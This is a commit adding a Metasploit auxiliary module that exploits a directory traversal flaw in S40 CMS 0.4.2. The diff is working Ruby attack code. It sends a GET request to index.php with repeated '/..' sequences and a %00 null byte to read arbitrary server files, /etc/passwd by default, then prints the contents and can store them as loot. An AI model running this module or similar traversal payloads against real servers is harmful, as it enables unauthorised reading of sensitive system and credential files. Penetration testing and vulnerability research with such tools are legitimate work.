Add s40 dir traversal vuln

I can't believe I stayed up all night, and this is all I could find.

modules/auxiliary/scanner/http/s40_traversal.rb

@@ -0,0 +1,80 @@
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# Framework web site for more information on licensing and terms of use.
+#   http://metasploit.com/framework/
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Auxiliary
+
+	include Msf::Exploit::Remote::HttpClient
+
+	def initialize(info = {})
+		super(update_info(info,
+			'Name'           => 'S40 0.4.2 CMS Directory Traversal Vulnerability',
+			'Description'    => %q{
+					This module exploits a directory traversal vulnerability found in S40 CMS.
+				The flaw is due to the 'page' function not properly handling the $pid parameter,
+				which allows a malicious user to load an arbitrary file path.
+			},
+			'References'     => 
+				[
+					[ 'EDB', '17129' ],
+				],
+			'Author'         =>
+				[
+					'Osirys <osirys[at]autistici.org>',  #Discovery, PoC
+					'sinn3r'
+				],
+			'License'        => MSF_LICENSE,
+			'DisclosureDate' => "Apr 7 2011"
+		))
+
+		register_options(
+			[
+				Opt::RPORT(80),
+				OptString.new("TARGETURI", [true, 'The base path to S40', '/s40/']),
+				OptString.new("FILE", [true, 'The file to retrieve', '/etc/passwd']),
+				OptBool.new('SAVE', [false, 'Save the HTTP body', false]),
+				OptInt.new("DEPTH", [true, 'Traversal depth', 10])
+			], self.class)
+	end
+
+	def run
+		uri = target_uri.path
+		uri << '/' if uri[-1, 1] != '/'
+
+		t = "/.." * datastore['DEPTH']
+
+		print_status("Retrieving #{datastore['FILE']}")
+
+		# No permission to access.log or proc/self/environ, so this is all we do :-/
+		res = send_request_raw({
+			'method' => 'GET',
+			'uri'    => "#{uri}index.php/?p=#{t}#{datastore['FILE']}%00"
+		})
+
+		if not res
+			print_error("Server timed out")
+		elsif res and res.body =~ /Error 404 requested page cannot be found/
+			print_error("Either the file doesn't exist, or you don't have the permission to get it")
+		else
+			# We don't save the body by default, because there's also other junk in it.
+			# But we still have a SAVE option just in case
+			print_line(res.body)
+
+			if datastore['SAVE']
+				p = store_loot(
+					's40.file',
+					'application/octet-stream',
+					rhost,
+					res.body,
+					::File.basename(datastore['FILE'])
+				)
+				print_status("File saved as: #{p}")
+			end
+		end
+	end
+end